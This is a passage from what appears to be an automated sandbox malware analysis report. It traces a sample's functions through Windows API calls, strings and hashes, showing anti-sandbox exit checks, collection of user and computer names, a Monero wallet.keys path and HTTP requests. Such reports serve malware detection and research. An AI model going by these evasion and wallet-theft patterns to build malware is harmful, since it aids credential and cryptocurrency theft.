StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 01005940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005A0C
Sleep.KERNEL32(0000EA60), ref: 01005A1B

Strings

ERROR, xrefs: 01005636
ERROR, xrefs: 010059FE
ERROR, xrefs: 01005849
ERROR, xrefs: 01005693
ERROR, xrefs: 01005932
ERROR, xrefs: 0100577D

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 4841124f8ac9662d2de1ed54c3717b9ef2b30f297346cfd814589a8544febb01
Instruction ID: 27c3c0263659fabea48d408aa1d6b85ab95f46196f82b2483299c3870b15b2f4
Opcode Fuzzy Hash: 4841124f8ac9662d2de1ed54c3717b9ef2b30f297346cfd814589a8544febb01
Instruction Fuzzy Hash: 3DE11171A10209DAEB16FBA0EC55EFD7378BF64200F408568A587970D4EF356B4DCBA1

Function 010017A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 010017C5
ExitProcess.KERNEL32 ref: 010017D1

Strings

block, xrefs: 010017B7

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: b2912364755ff8b94623d64c026b2eee13ca6cbd90dedcda7136c970f4a7daad
Instruction ID: e4cd6e1324be0ea61242e653f41c3d5b290f96ca5ff5865dc2a78d1ff9c28c72
Opcode Fuzzy Hash: b2912364755ff8b94623d64c026b2eee13ca6cbd90dedcda7136c970f4a7daad
Instruction Fuzzy Hash: 39516CB4A04209EFEB06DFA5D948BBE77B5BF44704F00805CE486AB288D774EA41CB61

Function 01007500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 01007542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0100757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007603
RtlAllocateHeap.NTDLL(00000000), ref: 0100760A
wsprintfA.USER32 ref: 01007640

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Strings

C, xrefs: 0100754C
:, xrefs: 0100755C
\, xrefs: 01007560

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 8992bb36c4396dabdeb03d25a9b00f53c2ad89cd3b1977a49ae5bae8c86003d1
Instruction ID: a4b1871dfcf18f63827ea401ac43dd555cc2bf29e2dc5fc94af3f9e40847a2e6
Opcode Fuzzy Hash: 8992bb36c4396dabdeb03d25a9b00f53c2ad89cd3b1977a49ae5bae8c86003d1
Instruction Fuzzy Hash: 774185B1D04248ABEF11DF94DC44BDEB7B4BF18704F004199E549A72C0D7796A44CFA5

Function 010069F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01981718), ref: 010098A1
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,019817D8), ref: 010098BA
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,019816D0), ref: 010098D2
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01981730), ref: 010098EA
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01981580), ref: 01009903
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01988A30), ref: 0100991B
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01975650), ref: 01009933
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,019753B0), ref: 0100994C
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01981598), ref: 01009964
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,019816E8), ref: 0100997C
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,019815C8), ref: 01009995
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,019815E0), ref: 010099AD
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01975670), ref: 010099C5
Part of subcall function 01009860: GetProcAddress.KERNEL32(76210000,01981610), ref: 010099DE

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 00FF11D0: ExitProcess.KERNEL32 ref: 00FF1211

Part of subcall function 00FF1160: GetSystemInfo.KERNEL32(?), ref: 00FF116A
Part of subcall function 00FF1160: ExitProcess.KERNEL32 ref: 00FF117E

Part of subcall function 00FF1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FF112B
Part of subcall function 00FF1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00FF1132
Part of subcall function 00FF1110: ExitProcess.KERNEL32 ref: 00FF1143

Part of subcall function 00FF1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FF123E
Part of subcall function 00FF1220: __aulldiv.LIBCMT ref: 00FF1258
Part of subcall function 00FF1220: __aulldiv.LIBCMT ref: 00FF1266
Part of subcall function 00FF1220: ExitProcess.KERNEL32 ref: 00FF1294

Part of subcall function 01006770: GetUserDefaultLangID.KERNEL32 ref: 01006774

Part of subcall function 00FF1190: ExitProcess.KERNEL32 ref: 00FF11C6

Part of subcall function 01007850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FF11B7), ref: 01007880
Part of subcall function 01007850: RtlAllocateHeap.NTDLL(00000000), ref: 01007887
Part of subcall function 01007850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0100789F

Part of subcall function 010078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007910
Part of subcall function 010078E0: RtlAllocateHeap.NTDLL(00000000), ref: 01007917
Part of subcall function 010078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0100792F

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,01988C20,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01988920,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01006AE8
CloseHandle.KERNEL32(00000000), ref: 01006AF9
Sleep.KERNEL32(00001770), ref: 01006B04
CloseHandle.KERNEL32(?,00000000,?,01988920,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006B1A
ExitProcess.KERNEL32 ref: 01006B22

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 02a1563233bcc2db96131f53dbd8b2ab7e563c40d899da65d6bdd4ff542614ad
Instruction ID: 91b2ad29e205da2f473b65f1bbd00e984e479a70747d94d2808d4a5299ec686e
Opcode Fuzzy Hash: 02a1563233bcc2db96131f53dbd8b2ab7e563c40d899da65d6bdd4ff542614ad
Instruction Fuzzy Hash: E6310D71A1020AEAFB06FBF0EC55BEE7779AF24300F004528E282A71D0DF756645CBA1

Function 00FF1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00FF123E
__aulldiv.LIBCMT ref: 00FF1258
__aulldiv.LIBCMT ref: 00FF1266
ExitProcess.KERNEL32 ref: 00FF1294

Strings

@, xrefs: 00FF1233

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 00df8e0307db6e94b0de0f19d98cb35f47b6a950cffc7f0084daace3ea4d6e9a
Instruction ID: 63f67d3b5a8729069348b4996529b8140a8f52f505de41e91e074608884ed728
Opcode Fuzzy Hash: 00df8e0307db6e94b0de0f19d98cb35f47b6a950cffc7f0084daace3ea4d6e9a
Instruction Fuzzy Hash: C5014BB0D40308EAEB10EFE0DC49BAEBB78BF14701F208059E705B62C0D77455459799

Function 01006AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01988920,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 01006AE8
CloseHandle.KERNEL32(00000000), ref: 01006AF9
Sleep.KERNEL32(00001770), ref: 01006B04
CloseHandle.KERNEL32(?,00000000,?,01988920,?,0101110C,?,00000000,?,01011110,?,00000000,01010AEF), ref: 01006B1A
ExitProcess.KERNEL32 ref: 01006B22

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 246c4d0ad31a8cacb4b4b1d4c81679ba163d82fb8d80ce3ac83cd9bb8441e16c
Instruction ID: d539156dfa384a1038614198c41a765d86d612026f7755623bc4ced8962b70c2
Opcode Fuzzy Hash: 246c4d0ad31a8cacb4b4b1d4c81679ba163d82fb8d80ce3ac83cd9bb8441e16c
Instruction Fuzzy Hash: 4DF05E70A4030AEFF712BBA0EC19BBE7B75EB14701F004524A583A21C0CBB15580CB55

Function 00FF47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

Strings

<, xrefs: 00FF47C9

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 0c2e3f183a4d763deed15684468af3f31a9d67d3151be181c68dfabf53176e39
Instruction ID: 5c90a3d5e6ccd2d59d8c5d4b06e8eb5a7755c0aaf954e78a7a5ed1ae75fea714
Opcode Fuzzy Hash: 0c2e3f183a4d763deed15684468af3f31a9d67d3151be181c68dfabf53176e39
Instruction Fuzzy Hash: FE2121B1D00209ABDF14DFA4E849BEE7B75FF45320F108625E955A72D0EB706A09CF91

Function 010051F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF6280: InternetOpenA.WININET(01010DFE,00000001,00000000,00000000,00000000), ref: 00FF62E1
Part of subcall function 00FF6280: StrCmpCA.SHLWAPI(?,0198FB08), ref: 00FF6303
Part of subcall function 00FF6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FF6335
Part of subcall function 00FF6280: HttpOpenRequestA.WININET(00000000,GET,?,0198F400,00000000,00000000,00400100,00000000), ref: 00FF6385
Part of subcall function 00FF6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FF63BF
Part of subcall function 00FF6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FF63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 01005228

Strings

ERROR, xrefs: 0100521A
ERROR, xrefs: 01005273

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: f71305ba7dca5f5aaa6fff82815fb7495a4178f5293d398f48922300adb5e53f
Instruction ID: be956642f3eefec9422a6eb93280587fb6a1b65b0fe68cd824bbe761a437c218
Opcode Fuzzy Hash: f71305ba7dca5f5aaa6fff82815fb7495a4178f5293d398f48922300adb5e53f
Instruction Fuzzy Hash: F0112E30A00209EBEB15FF74DD51EED7338AF60200F408158E94A4B5D1EF74AB09CB90

Function 010078E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01007910
RtlAllocateHeap.NTDLL(00000000), ref: 01007917
GetComputerNameA.KERNEL32(?,00000104), ref: 0100792F

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168828643.00000000014EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168925152.0000000001686000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168940818.0000000001687000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 133b105d166e1e6c7021dc4157f07bb46b27277c12c26598f718cca1dc55bd21
Instruction ID: 6332d8f5b5f38eeb7ca629cf0383c3200714e925c07f9f6e9a489be49b9466c4
Opcode Fuzzy Hash: 133b105d166e1e6c7021dc4157f07bb46b27277c12c26598f718cca1dc55bd21
Instruction Fuzzy Hash: 6B0186B1904204EBD710DF99D949BAEBBB8F704B21F104269F5C5E3280C37855048BA1

Function 00FF1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FF112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00FF1132
ExitProcess.KERNEL32 ref: 00FF1143

Memory Dump Source

Source File: 00000000.00000002.2168434293.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2168421375.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168434293.000000000123A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000013D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2168569157.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
